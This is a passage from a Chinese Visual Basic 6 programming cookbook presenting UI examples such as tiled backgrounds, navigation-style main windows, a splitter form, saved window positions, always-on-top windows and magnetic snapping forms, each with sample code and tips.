	可选参数。单精度值，指示picture的目标宽度。object的ScaleMode属性决定使用的度量单位。如果目标宽度比源宽度（width2）大或小，将适当地拉伸或压缩picture。如果该参数省略，则使用源宽度



	height1
	可选参数。单精度值，指示picture的目标高度。object的ScaleMode属性决定使用的度量单位。如果目标高度比源高度（height2）大或小，将适当地拉伸或压缩picture。如果该参数省略，则使用源高度



	x2, y2
	可选参数。均为单精度值，指示picture内剪贴区的坐标（x-轴和y-轴）。object的ScaleMode属性决定使用的度量单位。如果该参数省略，则默认为0



	width2
	可选参数。单精度值，指示picture内剪贴区的源宽度。object的ScaleMode属性决定使用的度量单位。如果该参数省略，则使用整个源宽度



	height2
	可选参数。单精度值，指示picture内剪贴区的源高度。object的ScaleMode属性决定使用的度量单位。如果该参数省略，则使用整个源高度



	opcode
	可选参数。是长型值或仅由位图使用的代码。它用来定义在将picture绘制到object上时对picture执行的位操作（如vbMergeCopy或vbSrcAnd操作符）




在使用opcode时有一些限制。例如，如果资源是图标或图元文件，则只能使用vbSrcCopy，而不能使用其他的opcode。opcode用于将按位操作传递到位图。当传递其他图像类型时将一个值给该参数会造成“无效过程调用或参数”错误，这是设计的原因。要避免这个错误，对于除位图外的图像，将opcode参数置为空即可。

设计过程

（1）新建一个VB工程。

（2）在工程中添加窗体，将窗体的Caption属性设置为“整个窗体铺满图片”。

（3）在窗体上添加一个PictureBox控件，并为其添加一幅图片。

（4）主要程序代码如下：



Private Sub Form_Paint()
    Dim wid As Single
    Dim hgt As Single
    Dim x As Single
    Dim y As Single
    wid = Picture1.ScaleWidth                            '宽度
    hgt = Picture1.ScaleHeight                            '高度
    y = 0
    Do While y < ScaleHeight
        x = 0
        Do While x < ScaleWidth
            PaintPicture Picture1.Picture, _
                         x, y, wid, hgt                    '在指定位置绘制图像
            x = x + wid
        Loop
        y = y + hgt
    Loop
End Sub




秘笈心法

心法领悟234：PaintPicture方法的opcode参数。

opcode用于将按位操作传递到位图。当传递其他图像类型时将一个值给该参数会造成“无效过程调用或参数”错误，这是设计的原因。要避免这个错误，对于除位图外的图像将opcode参数置为空。


 8.2　主界面应用实例



 实例235　类似超级兔子的程序界面

光盘位置：光盘\MR\08\235

初级

趣味指数：[image: ]




实例说明

对于一些应用工具软件，界面不但要求人性化、漂亮，还要突出界面功能、使用方便，这样才能吸引用户使用。在本实例的主界面中，功能按钮采用醒目的图形列表形式展现在用户主界面上。用户鼠标移到相应功能按钮，按钮下以阴影显示，效果如图8.12所示。

[image: ]
图8.12　类似超级兔子的程序界面



关键技术

制作图形化界面主窗体，首先要制作好主窗体的背景图片和按钮图标，然后合理地将图形控件放到合适的位置。放置控件有手工放置和代码设置两种方法，本实例采用代码设置。

本实例程序为设置控件数组在窗体中的位置，使用了Mod函数，下面介绍Mod函数。

Mod函数用来对两个数作除法并且只返回余数。在进行Mod运算或求余数运算时，该运算符将number1用number2除（将浮点数字四舍五入成整数），并把余数作为result的值返回。例如，在下列表达式中，A (result) 等于5。



A = 19 Mod 6.7




一般来说，不管result是否为一个整数，result的数据类型为Byte，Byte变体、Integer、Integer变体、Long 或一个包含Long的Variant。任何小数部分都被删除。但是，如果任何一个Null类型的表达式出现时，result都将是Null。任何Empty类型表达式都作为0处理。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）为程序主窗体添加本实例路径下的main.bmp，作为主窗体的图形界面。

（3）在窗体上添加一个Image控件、一个Label1控件数组、添加一个Shape控件。

（4）主要程序代码如下：



Private Sub Label2_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Shape1.Left = Label2(Index).Left                '设置左边距
    Shape1.Top = Label2(Index).Top                '设置上边距
End Sub




秘笈心法

心法领悟235：模态窗体未关闭调用其他窗体出错。

使用Show方法可以显示一个模态的窗体。但是如果在模态窗体未关闭的情况下调用非模态窗体，则会产生一个错误；调用模态窗体则不会产生错误。



 实例236　类似瑞星的导航主界面

光盘位置：光盘\MR\08\236

初级

趣味指数：[image: ]




实例说明

在瑞星实时监控软件主窗体中，左侧的资源管理既美观，又非常实用。下面介绍通过第三方控件制作此类界面，结果如图8.13所示。

[image: ]
图8.13　类似瑞星的导航主界面



关键技术

利用第三方控件NEWEX，可以轻易地做出与瑞星几乎一模一样的资源管理器。下面介绍该控件的使用方法。

启动Visual Basic 6.0，在工具箱的空白处单击鼠标右键，从弹出的快捷菜单中选择“部件”命令，打开“部件”对话框，单击“浏览”按钮，从存放NEWEX控件的文件夹中找到newex.ocx文件。单击“应用”按钮后NEWEX控件就添加到工具箱中。newex.ocx控件包含3个控件，本实例用到的是ExplorerTree（树形目录窗格）和ExplorerList（列表窗格，用以显示左边选定对象所包含的内容）。下面列出它们的几个主要属性。

ExplorerTree控件的主要属性如表8.2所示，ExplorerList控件的主要属性如表8.3所示。

表8.2　ExplorerTree控件的主要属性



	属性
	说明



	Appearance
	控件外观是否立体，1为3D边框，0为平面



	BorderStyle
	控件的边界类型



	BackColor
	背景色



	BrowseFrom
	转到地址栏输入的目录路径



	TreeHasButtons
	在树状目录中是否显示+按钮



	TreeHasLines
	在树状目录中是否显示关联虚线



	Path
	地址路径




表8.3　ExplorerList控件的主要属性



	属性
	说明



	Appearance
	控件边框是否立体，1为3D边框，0为平面



	BorderStyle
	控件的边界类型



	ShowHiddenFile
	是否显示隐藏文件



	View
	查看方式0



	FileName
	选中文件的文件名





注意：
 若使用本例中的第三方控件，请到该公司网站下载。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）为程序主窗体添加本实例路径下的main.bmp，作为主窗体的图形界面。

（3）在窗体上添加ExplorerTree控件和ExplorerList控件，可参考本实例的关键技术。

（4）主要程序代码如下：



Private Sub ExplorerTree1_TreeDataChanged()
On Error Resume Next
    ExplorerList1.TreeDatas = ExplorerTree1.TreeDatas
End Sub
Private Sub ExplorerList1_FolderClick()
    ExplorerTree1.FolderClick (ExplorerList1.filename)
End Sub




秘笈心法

心法领悟236：窗体的Load事件中不能使用SetFocus方法。

在窗体的Load事件中，由于窗体还没有加载完毕，所以不能在此事件中添加SetFocus方法。否则会产生运行时错误。



 实例237　类似Windows XP的程序界面

光盘位置：光盘\MR\08\237

中级

趣味指数：[image: ]




实例说明

在Windows XP环境下打开我的电脑，会发现左侧的导航界面很实用。双击展开按钮，导航栏功能显示出来，双击收缩按钮，导航按钮收缩。下面通过实例介绍此种主窗体的设计方法。运行程序，类似Windows XP的程序界面的效果如图8.14所示。

[image: ]
图8.14　类似Windows XP的程序界面



关键技术

本实例在设置控件属性的过程中使用了Controls集合，下面介绍该集合。

Controls集合代表部件中的控件集合。Controls集合的Count属性用于表明集合中的控件数量，而其Item方法则返回集合中的一个成员。

例如，隐藏窗体内所有控件，代码如下：



For Each Control in Form1.Controls
    Control.Visible = False
Next Control




例如，更改ToolBar控件上每个控件的属性，代码如下：



Dim ctlX As Control
For Each ctlX In Toolbar1.Controls
    ctlX.Width = Toolbar1.Width / Toolbar1.Controls.Count_
Next




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加PictureBox控件、Image控件、Label控件等并设置相应属性。

（3）主要程序代码如下：



Private Sub Timer1_Timer()
    On Error Resume Next
    Dim ExpandHeight As Integer
    ExpandHeight = 0
    For i = 1 To XPMenu.Count - 1
        XPMenu(i).Top = XPMenu(i - 1).Top + XPMenu(i - 1).Height + 120        '设置上边距
    Next
    If doresize = True Then
        If expand = False Then
            MenuHeader(frame).Picture = img2.Picture                    '菜单条标题设置图像
            XPMenu(frame).Height = XPMenu(frame).Height - speed
            If XPMenu(frame).Height <= MenuHeader(frame).Height Then
                doresize = False
                XPMenu(frame).Height = MenuHeader(frame).Height
            End If
        Else
            MenuHeader(frame).Picture = img1.Picture
            XPMenu(frame).Height = XPMenu(frame).Height + speed
            For i = 0 To Me.Count - 1
                If Controls(i).Container.Name = XPMenu(frame).Name Then
                    If Controls(i).Container.Index = XPMenu(frame).Index Then
                        If Controls(i).Top + Controls(i).Height > ExpandHeight Then
                            ExpandHeight = Controls(i).Top + Controls(i).Height
                        End If
                    End If
                End If
            Next
            If XPMenu(frame).Height >= ExpandHeight + 120 Then
                doresize = False
                XPMenu(frame).Height = ExpandHeight + 120
            End If
        End If
    End If
End Sub




秘笈心法

心法领悟237：使用ActiveControl属性获取拥有焦点的控件。

返回拥有焦点的控件。当窗体被引用时，例如，在ChildForm.ActiveControl中，如果被引用的窗体是活动的，ActiveControl指定将拥有焦点的控件。

这个属性在多文档接口（MDI）应用程序中尤其有用，其中工具栏上的一个按钮必须初始化为MDI子窗体中的控件上的一个动作。当用户单击工具栏上的“复制”按钮时，代码可以引用MDI子窗体的活动控件中的文本，例如，ActiveForm.ActiveControl.SelText。



 实例238　Outlook式主界面

光盘位置：光盘\MR\08\238

中级

趣味指数：[image: ]




实例说明

菜单和工具栏虽然能方便用户操作程序的相应功能，也有一些缺点，那就是与图形化界面结合不是很漂亮。如果采用导航式功能菜单，不但美观大方，而且操作灵活。运行程序，Outlook式导航界面的效果如图8.15所示。

[image: ]
图8.15　Outlook式主界面



关键技术

利用Picture控件数组作为功能导航条，在Picture控件数组中放置Label控件数组，通过在Label控件数组Click事件过程中编写动态添加ListView中的项目和定位ListView位置的代码实现Outlook式导航界面。其中ListView中的项目与各个主菜单下的菜单数组一一对应，通过获取菜单数组的Caption属性，实现动态向ListView中添加项目。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加ListView和PictureBox等控件。

（3）主要程序代码如下：



Private Sub lblMenu_Click(Index As Integer)
    strMenu = lblMenu(Index).Caption
    Dim m As Integer
    For i = 1 To Index
        picMenu(i).Top = picMenu(i - 1).Top + picMenu.Item(i - 1).Height
    Next i
    ListView1.Top = picMenu(i - 1).Top + picMenu.Item(i - 1).Height            '列表框上边距
    If Index < 7 Then picMenu(Index + 1).Top = ListView1.Top + ListView1.Height
    For i = Index + 2 To picMenu.Count - 1
        picMenu(i).Top = picMenu.Item(i - 1).Top + picMenu.Item(i - 1).Height
    Next i
    Select Case Index
    Case 0
        ListView1.ListItems.Clear                                '清除列表项
        ListView1.Enabled = True                                '列表可用
        For i = 0 To m1.Count - 1
            Key = "【" & m1.Item(i).Caption & "】"                    '列表项目名称
            m = i + 1
            Set itmX = ListView1.ListItems.Add(, , Key, m)                '向列表中添加项目
        Next i
    Case 1
        ListView1.ListItems.Clear
        ListView1.Enabled = True
        For i = 0 To m2.Count - 1
            Key = "【" & m2.Item(i).Caption & "】"
            m = i + m1.Count + 1
            Set itmX = ListView1.ListItems.Add(, , Key, m)
        Next i
    Case 2
        ListView1.ListItems.Clear
        ListView1.Enabled = True
        For i = 0 To m3.Count - 1
            Key = "【" & m3.Item(i).Caption & "】"
            m = m1.Count + m2.Count + i + 1
            Set itmX = ListView1.ListItems.Add(, , Key, m)
        Next i
   '此处代码省略
    End Select
End Sub




秘笈心法

心法领悟238：窗体命名冲突解决方法。

打开以前创建的工程文件时，有时会弹出窗体命名冲突的错误信息，下面提供一种可能情况的解决方法。

退出程序，使用记事本方式打开窗体文件，找到提示冲突的窗体名称，并搜索其他位置的此名称，查看是否大小写不一致，更改后保存文件即可解决窗体命名冲突的错误。



 实例239　可以用鼠标切分的窗体

光盘位置：光盘\MR\08\239

初级

趣味指数：[image: ]




实例说明

在使用VB的过程中，若要浏览更多的内容，例如，工具箱中的控件，可以用鼠标按住工具箱右侧，工具箱的宽度将随鼠标移动的宽度增加或减少，这种功能在实际编程过程中非常实用，下面就实现一个可以用鼠标切分的窗体，如图8.16所示。

[image: ]
图8.16　可以用鼠标切分的窗体



关键技术

从图8.16可以看出，该主窗体的左右两侧的宽度可以通过鼠标进行调整，其中主要使用了PictureBox控件，该控件放在TreeView和ListView控件的中间，起到了“切分”的作用。

当按下鼠标时，设置TreeView控件的宽度等于PictureBox控件居左的数值减去TreeView控件居左的数值再减去偏离的数值。

当按下鼠标时，设置ListView控件居左的数值等于TreeView控件的宽度加50，其宽度等于窗体缩放的宽度减去ListView控件居左的数值再减去偏离的数值。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）创建客户管理系统窗体。

（3）主要程序代码如下：



Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Picture1.BackColor = &H808080                     '设置Picture控件的背景色
End Sub
Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    On Error Resume Next
    If Button = 1 Then                               '当按下鼠标右键时
       Picture1.Left = Picture1.Left + X                     'Picture控件的Left属性为当前值加上横坐标的值
    End If
End Sub
Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim pl&                                    '定义变量
    On Error Resume Next
    pl = Picture1.Left                               '将Pictuer控件的Left属性赋给pl变量
    If pl < 1000 Then                               '如果pl小于1000
        pl = 1000                                '将pl设置为1000
        Picture1.Left = pl                            '将Picture控件的Left属性设置为pl
    End If
    If pl > (Me.ScaleWidth - 1000) Then                    '如果pl大于窗体的宽度-1000
        pl = Me.ScaleWidth - 1000                     '将窗体的宽度-1000的值赋给pl变量
        Picture1.Left = pl                           '将Picture控件的Left属性设置为pl
    End If
    TreeView1.Width = pl - TreeView1.Left - 20                '设置TreeView控件的Width属性
    Picture1.Width = 30                              '设置Picture控件的Width属性
    ListView1.Left = TreeView1.Width + 50                 '设置ListView控件的Width属性
    ListView1.Width = Me.ScaleWidth - ListView1.Left - 50     '设置ListView控件的Width属性
    Picture1.BackColor = &H8000000F                      '设置Picture控件的背景色
End Sub




秘笈心法

心法领悟239：创建一个无ICON的窗体。

在实际应用中有时会需要像“关于”、“查找和替换”等无ICON的窗口，这种窗口在VB中可以使用下面的方法实现。

（1）设置窗口的BorderStyle属性为3-Fixed Dialog。

（2）在窗体的Form_Load事件过程中编写如下代码：



Me.Icon = LoadPicture()





 8.3　窗体位置应用实例



 实例240　设置窗口在屏幕中的位置

光盘位置：光盘\MR\08\240

中级

趣味指数：[image: ]




实例说明

设置窗口在屏幕中的位置，是每个开发人员在设计程序界面时所必须考虑和设置的过程。如果能够动态设置窗口在屏幕中的位置（即让使用者自己设置），则在程序设计过程中，就不用通过窗体的“属性”窗口设置窗体的位置了，而直接编写相关代码即可。

运行程序，在“窗口位置”下拉列表中选择所需的选项，如“窗口位于左下角”，然后单击“确定”按钮，重新运行程序，窗口将自动位于屏幕的左下角，其结果如图8.17所示。

[image: ]
图8.17　设置窗口在屏幕中的位置



关键技术

本实例主要使用了Screen对象和Form对象的Height、Width、Top和Left等基本属性。

另外，为了保存和再次显示设置结果还使用了SaveSetting和GetSetting函数。其中SaveSetting函数用于将设置结果默认地保存在注册表HKEY_CURRENT_USER/Software/VB and VBA Program Settings选项下；GetSetting函数则用于返回注册表中设置的值，如果GetSetting的参数中的任何一项都不存在，则GetSetting返回default的值（也就是空值）。

GetSetting函数的语法如下：



GetSetting(appname, section, key[, default])




参数说明如表8.4所示。

表8.4　GetSetting函数的参数说明



	参 数
	说明



	appname
	必选参数。字符串表达式，包含应用程序或工程的名称，要求这些应用程序或工程有注册表项设置



	section
	必选参数。字符串表达式，包含区域名称，要求该区域有注册表项设置



	key
	必选参数。字符串表达式，返回注册表项设置的名称



	default
	可选参数。表达式，如果注册表项设置中没有设置值，则返回默认值。如果省略，则 default 取值为长度为零的字符串("")




SaveSetting函数的语法如下：



SaveSetting appname, section, key, setting




参数说明如表8.5所示。

表8.5　SaveSetting函数的参数说明



	参数
	说明



	appname
	必选参数。字符串表达式，包含应用程序或工程的名称，对这些应用程序或工程使用设置



	section
	必选参数。字符串表达式，包含区域名称，在该区域保存注册表项设置



	key
	必选参数。字符串表达式，包含将要保存的注册表项设置的名称



	setting
	必选参数。表达式，包含key的设置值




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体中添加ComboBox控件等，其中用于显示窗口位置的控件的名称为Combo2。

（3）主要程序代码如下：



Private Sub Form_Load()
'…此处组合框信息设置代码省略
    Dim i, t, l
    i = GetSetting("WinPos", "cboI", "listindex")               '获取存储在注册表中的组合框列表项索引值
    t = GetSetting("WinPos", "pos", "Top")                '获取上边距
    l = GetSetting("WinPos", "pos", "Left")                '获取左边距
    If i = "" And t = "" And l = "" Then                    '如果值为空
        Combo2.ListIndex = 2                        '设置列表项索引为2
        Command1_Click                            '执行此事件
    Else
        Me.Top = t                                '如果值不空，则给窗体的上边距属性赋值
        Me.Left = l                            '设置左边距
        Combo2.ListIndex = I                        '设置列表索引
    End If
End Sub
Private Sub Command1_Click()
    Select Case Combo2.ListIndex                    '以组合框项目索引为条件
    Case 0
        SaveSetting "WinPos", "pos", "top", 0                '保存上边距
        SaveSetting "WinPos", "pos", "left", 0                '保存左边距
        SaveSetting "Winpos", "cboI", "listindex", 0            '保存选择的组合框项目索引
    Case 1
        SaveSetting "WinPos", "pos", "top", Screen.Height - Me.Height
        SaveSetting "WinPos", "pos", "left", 0
        SaveSetting "Winpos", "cboI", "listindex", 1
    Case 2
        SaveSetting "WinPos", "pos", "top", (Screen.Height - Me.Height) / 2
        SaveSetting "WinPos", "pos", "left", (Screen.Width - Form1.Width) / 2
        SaveSetting "Winpos", "cboI", "listindex", 2
    Case 3
        SaveSetting "WinPos", "pos", "top", 0
        SaveSetting "WinPos", "pos", "left", Screen.Width - Me.Width
        SaveSetting "Winpos", "cboI", "listindex", 3
    Case 4
        SaveSetting "WinPos", "pos", "top", Screen.Height - Me.Height
        SaveSetting "WinPos", "pos", "left", Screen.Width - Me.Width
        SaveSetting "Winpos", "cboI", "listindex", 4
    End Select
    End
End Sub




秘笈心法

心法领悟240：设置窗体启动位置。

使用StartUpPosition属性可以设置窗体的启动位置，有3种位置供选择，可以根据程序需要设定窗体的启动位置以设计人性化的程序。如果运行时不能使用，在程序界面设计时直接修改窗体的此属性即可。也可以使用代码设置窗体的Left和Top属性来设置窗体启动位置。



 实例241　保存用户对窗体大小的更改

光盘位置：光盘\MR\08\241

中级

趣味指数：[image: ]




实例说明

在应用软件使用过程中，很多时候会根据自己的习惯调整窗体的大小，并且希望在以后打开程序时窗体始终为调整的大小，本实例实现保存用户对窗体大小的更改，程序的运行界面如图8.18所示。

[image: ]
图8.18　保存调整的窗体大小



关键技术

本实例使用SaveSettingGet语句在Windows注册表中保存或建立应用程序项目，以保存窗体的大小和位置，使用GetSetting语句获取保存在注册表中的信息。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置其Caption属性为“保存用户对窗体大小和位置所做的调整”。

（2）在Form1窗体中添加一个CommandButton控件。

（3）主要程序代码如下：



Private Sub Form_Load()
    Dim t, l, h, w
    t = GetSetting("windows", "pos", "top")                            '获取保存的上边距
    l = GetSetting("windows", "pos", "left")                            '获取保存的左边距
    h = GetSetting("windows", "size", "height")                            '获取保存的高度
    w = GetSetting("windows", "size", "width")                            '获取保存的宽度
    If t <> "" And l <> "" And h <> "" And w <> "" Then                    '对窗体大小和位置进行设置
        Me.Top = t
        Me.Left = l
        Me.Height = h
        Me.Width = w
    End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
    SaveSetting "windows", "pos", "top", Me.Top                        '保存上边距
    SaveSetting "windows", "pos", "left", Me.Left
    SaveSetting "windows", "size", "height", Me.Height
    SaveSetting "windows", "size", "width", Me.Width
End Sub




秘笈心法

心法领悟241：使用QueryUnload事件阻止关闭窗体。

当一个应用程序关闭时，可使用QueryUnload或Unload事件过程将Cancel属性设置为True来阻止关闭过程。但是，QueryUnload事件是在任一个窗体卸载之前在所有窗体中发生，而Unload是在每个窗体卸载时发生。



 实例242　将自己的程序永远置前

光盘位置：光盘\MR\08\242

中级

趣味指数：[image: ]




实例说明

在使用应用软件的过程中，有时会因为打开其他应用软件而将正在操作的软件置于其后，给操作带来了不便。

本实例将程序“明日物资管理系统”置于最前面，则无论用户打开多少应用软件，进行何种操作，总是在该程序的后面。运行程序在主界面上选中“将自己的程序永远置前”复选框，结果如图8.19所示。

[image: ]
图8.19　将程序置前



关键技术

要实现将自己的程序永远置前，可以使用API函数SetWindowPos，该函数可以为窗口指定一个新位置和状态。如果将窗口置前，可以将该函数中的hWndInsertAfter参数值设置为-1；如果要恢复窗口原始状态，可以将该函数中的hWndInsertAfter参数值设置为-2，语法如下：



Public Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long




参数说明如表8.6所示。

表8.6　SetWindowPos函数的参数说明



	参数
	说明



	hwnd
	Long，欲定位的窗口



	hWndInsertAfter
	Long，窗口句柄。在窗口列表中，窗口hwnd会置于这个窗口句柄的后面。也可能选用下述值之一。

[image: ]
 HWND_BOTTOM：将窗口置于窗口列表底部

[image: ]
 HWND_TOP：将窗口置于Z序列的顶部；Z序列代表在分级结构中，窗口针对一个给定级别的窗口显示的顺序

[image: ]
 HWND_TOPMOST：将窗口置于列表顶部，并位于任何最顶部窗口的前面

[image: ]
 HWND_NOTOPMOST：将窗口置于列表顶部，并位于任何最顶部窗口的后面



	x,y
	Long，窗口新的x，y坐标。如hwnd是一个子窗口，则x，y用父窗口的客户区坐标表示



	cx,cy
	Long，指定新的窗口宽度和高度



	wFlags
	Long，包含了旗标的一个整数，其数值如表8.7所示




表8.7　wFlags参数的数值



	常数
	说明



	SWP_DRAWFRAME
	围绕窗口画一个框



	SWP_HIDEWINDOW
	隐藏窗口



	SWP_NOACTIVATE
	不激活窗口



	SWP_NOMOVE
	保持当前位置（x和y设定将被忽略）



	SWP_NOREDRAW
	窗口不自动重画



	SWP_NOSIZE
	保持当前大小（cx和cy会被忽略）



	SWP_NOZORDER
	保持窗口在列表的当前位置（hWndInsertAfter将被忽略）



	SWP_SHOWWINDOW
	显示窗口



	SWP_FRAMECHANGED
	强迫一条WM_NCCALCSIZE消息进入窗口，即使窗口的大小没有改变




设计过程

（1）新建一个标准工程，创建一个新窗体，将其重命名为frm_main。

（2）在frm_main窗体中添加一个CheckBox控件。

（3）主要程序代码如下：



Private Sub Check1_Click()
    Dim lngWindowFront As Long
    If Check1.Value = 1 Then
        '窗口置前
        lngWindowFront = SetWindowPos(Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, 3)
        If lngWindowFront = 0 Then
            MsgBox "设置失败！", , "提示窗口"
        Else
            MsgBox "设置成功！", , "提示窗口"
        End If
    Else
        lngWindowFront = SetWindowPos(Me.hwnd, -2, 0, 0, 0, 0, 3)
        If lngWindowFront = 0 Then
            MsgBox "设置失败！", , "提示窗口"
        Else
            MsgBox "设置成功！", , "提示窗口"
        End If
    End If
End Sub




秘笈心法

心法领悟242：OLE控件自动调节大小。

当一个OLE容器控件的SizeMode属性被设置为2（自动调大小）时，该控件自动根据所显示的包含于该控件之中的对象的大小来调整其大小。如果所显示的对象的大小发生变化，则该控件自动重调其大小以适应该对象的变化。当这种情况出现时，为该对象调用Resize事件会在OLE容器控件被重调大小之前发生。height和width部分指示该对象显示的最佳大小（这个尺寸由创建该对象的应用程序决定）。可通过在Resize事件中改变height和width部分的值来按不同的尺寸设定控件的大小。



 实例243　随桌面分辨率变化的程序界面

光盘位置：光盘\MR\08\243

初级

趣味指数：[image: ]




实例说明

当用户调整桌面的分辨率时，一般的应用软件界面都会受到影响，或显示不全或显示得太小。例如，程序界面是在分辨率为1024×768下设计的，当分辨率调到800×600时，界面便会显示不全，极大地影响了界面的效果。本实例将设计能够随桌面的分辨率变化的程序界面，无论用户怎样设置桌面的分辨率，都不会影响程序界面，运行结果如图8.20所示。

[image: ]
图8.20　随桌面分辨率变化的程序界面



关键技术

实现本实例的功能首先应使用API函数SystemParametersInfo获得当前桌面的分辨率，然后将程序界面调整与桌面大小一致的尺寸。这里应注意的是分辨率是以“像素”为单位，而窗体的大小是以“缇”为单位，因此还要进行换算。首先将桌面“像素”转换为“英寸”（每英寸72像素），然后再将英寸转换为“缇”（一逻辑英寸大约有1440缇）。具体公式如下：

窗体的大小=桌面像素/72×1440。

设计过程

（1）新建一个标准工程，创建一个新窗体，将其命名为frm_main。

（2）在Form1窗体中添加一个Image控件，设置Strech属性为True。

（3）主要程序代码如下：



Private Sub Form_Load()
    Dim pnlX As Panel
    '添加多于两个的面板，并将它们设置为目录
    Set pnlX = StatusBar1.Panels.Add
    pnlX.AutoSize = sbrContents
    Set pnlX = StatusBar1.Panels.Add
    pnlX.AutoSize = sbrContents
    StatusBar1.Panels(1).Text = "本软件由吉林省明日科技有限公司制作  电话：(0431)84978981,84978982  http://www.mingrisoft.com"
    Dim lRet As Long
    Dim apiRECT As RECT
    lRet = SystemParametersInfo(SPI_GETWORKAREA, vbNull, apiRECT, 0)
    If lRet Then
        Me.Width = apiRECT.Right / 72 * 1440 - 180
        Me.Width = Me.Width - 180
        Me.Height = apiRECT.Bottom / 72 * 1440 - 180
        Me.Height = Me.Height - 180
    End If
End Sub




秘笈心法

心法领悟243：设置窗体的度量单位。

通过窗体的ScaleMode属性能够设置窗体的度量单位，当其值为1-Twip时，其度量单位为“缇”（默认设置）；当其值为3-Pixel时，度量单位为像素。这两种度量单位是在VB程序设计中最经常使用的。



 实例244　磁性窗体

光盘位置：光盘\MR\08\244

中级

趣味指数：[image: ]




实例说明

在多媒体播放软件中，经常会遇到一种情况，即当拖动其中一个窗体（主窗体）时，其他的窗体（子窗体）也可以随着该窗体移动，当拖动子窗体时，其他窗体将不跟随移动，这就是磁性窗体。

本实例将介绍磁性窗体的设计过程。运行程序，将调用主窗体和两个子窗体，当拖动主窗体时，两个子窗体如果相连，则跟随移动，如图8.21所示。如果不相连则不跟随移动。当拖动子窗体时，即可将该子窗体从主窗体上分离。

[image: ]
图8.21　磁性窗体



关键技术

在程序中，最关键的就是判断两个窗体在横纵方向上的距离差是否小于默认的吸引宽度m_lSnapWidth，这里在类被初始化时，将变量m_lSnapWidth定义为10。在程序运行时，当窗体在横纵方向上的距离差的绝对值小于10时，则将其粘合，关键代码如下：



With m_rcWnd(lc1)                        '对m_rcWnd(lc1)执行语句
'*******************X轴方向粘合******************************************
    If (rcWnd.Y1 < .Y2 + m_lSnapWidth And rcWnd.Y2 > .Y1 - m_lSnapWidth) Then
        Select Case True
        Case Abs(rcWnd.X1 - .X1) < m_lSnapWidth: lOffx = .X1 - rcWnd.X1
        Case Abs(rcWnd.X1 - .X2) < m_lSnapWidth: lOffx = .X2 - rcWnd.X1
        Case Abs(rcWnd.X2 - .X1) < m_lSnapWidth: lOffx = .X1 - rcWnd.X2
        Case Abs(rcWnd.X2 - .X2) < m_lSnapWidth: lOffx = .X2 - rcWnd.X2
        End Select
    End If
    
'*******************Y轴方向粘合******************************************
    If (rcWnd.X1 < .X2 + m_lSnapWidth And rcWnd.X2 > .X1 - m_lSnapWidth) Then
        Select Case True
        Case Abs(rcWnd.Y1 - .Y1) < m_lSnapWidth: lOffy = .Y1 - rcWnd.Y1
        Case Abs(rcWnd.Y1 - .Y2) < m_lSnapWidth: lOffy = .Y2 - rcWnd.Y1
        Case Abs(rcWnd.Y2 - .Y1) < m_lSnapWidth: lOffy = .Y1 - rcWnd.Y2
        Case Abs(rcWnd.Y2 - .Y2) < m_lSnapWidth: lOffy = .Y2 - rcWnd.Y2
        End Select
    End If
End With




设计过程

（1）创建一个VB企业版控件的工程。

（2）新建一个窗体，命名为Frm_main，设置Caption属性为“磁性窗体”，该窗体为磁性窗体的主窗体。

（3）在工程中新建一个窗体，命名为Frm_Children，设置Caption属性为“子窗体”，该窗体为其中的一个子窗体。

（4）在工程中再新建一个窗体，将其命名为Frm_Children2，设置Caption属性为“子窗体2”，改变窗体为另一个子窗体。

（5）在工程中创建一个类模块，命名为Cls_Magnetic。

（6）在Frm_main窗体启动时，调用Frm_Children和Frm_Children2两个子窗体，设置这两个子窗体的启动位置。并且调用Cls_Magnetic对象，设置Frm_main窗体为主窗体，程序代码如下：



Public Magneticfrm As New Cls_Magnetic                            '声明Cls_Magnetic类型对象
    
Private Sub Form_Load()
    Frm_Children.Top = Me.Top                                    '设置子窗体1的Top属性
    Frm_Children.Left = Me.Left + Me.Width                            '设置子窗体1的Left属性
    Load Frm_Children                                        '加载子窗体1
    Frm_Children.Show                                        '显示子窗体1
    
    Frm_Children2.Top = Frm_Children.Top + Frm_Children.Height            '设置子窗体2的Top属性
    Frm_Children2.Left = Frm_Children.Left                            '设置子窗体2的Left属性
    Load Frm_Children2                                        '加载子窗体2
    Frm_Children2.Show                                        '显示子窗体2
    Call Magneticfrm.AddWindow(Me.hwnd)                            '设置本窗体为主窗体
End Sub




在每个子窗体中都执行如下操作，将本窗体设置为Frm_main的主窗体。



Private Sub Form_Load()
    Call Frm_main.Magneticfrm.AddWindow(Me.hwnd, Frm_main.hwnd)            '设置当前窗体为Frm_main.hwnd的子窗体
End Sub




下面给出的是在窗体移动时的关键代码：



Private Sub pvMoveRect(ByVal hWnd As Long, rcWnd As RECT2)
    Dim lc1   As Long                                        '定义Long型变量
    Dim lc2   As Long                                        '定义Long型变量
    Dim lWId  As Long                                        '定义Long型变量
    Dim rcTmp As RECT2                                        '定义RECT2类型变量
    Dim lOffx As Long                                        '定义Long型变量
    Dim lOffy As Long                                        '定义Long型变量
    Dim hDWP  As Long                                        '定义Long型变量
    Call GetCursorPos(m_ptCurr)                                    '获取当前鼠标位置
    
'检查当前窗体的可粘合性
    '移动当前窗体
    Call OffsetRect(rcWnd, (m_ptCurr.X1 - rcWnd.X1) + m_ptOffset.X1, 0)
    Call OffsetRect(rcWnd, 0, (m_ptCurr.Y1 - rcWnd.Y1) + m_ptOffset.Y1)
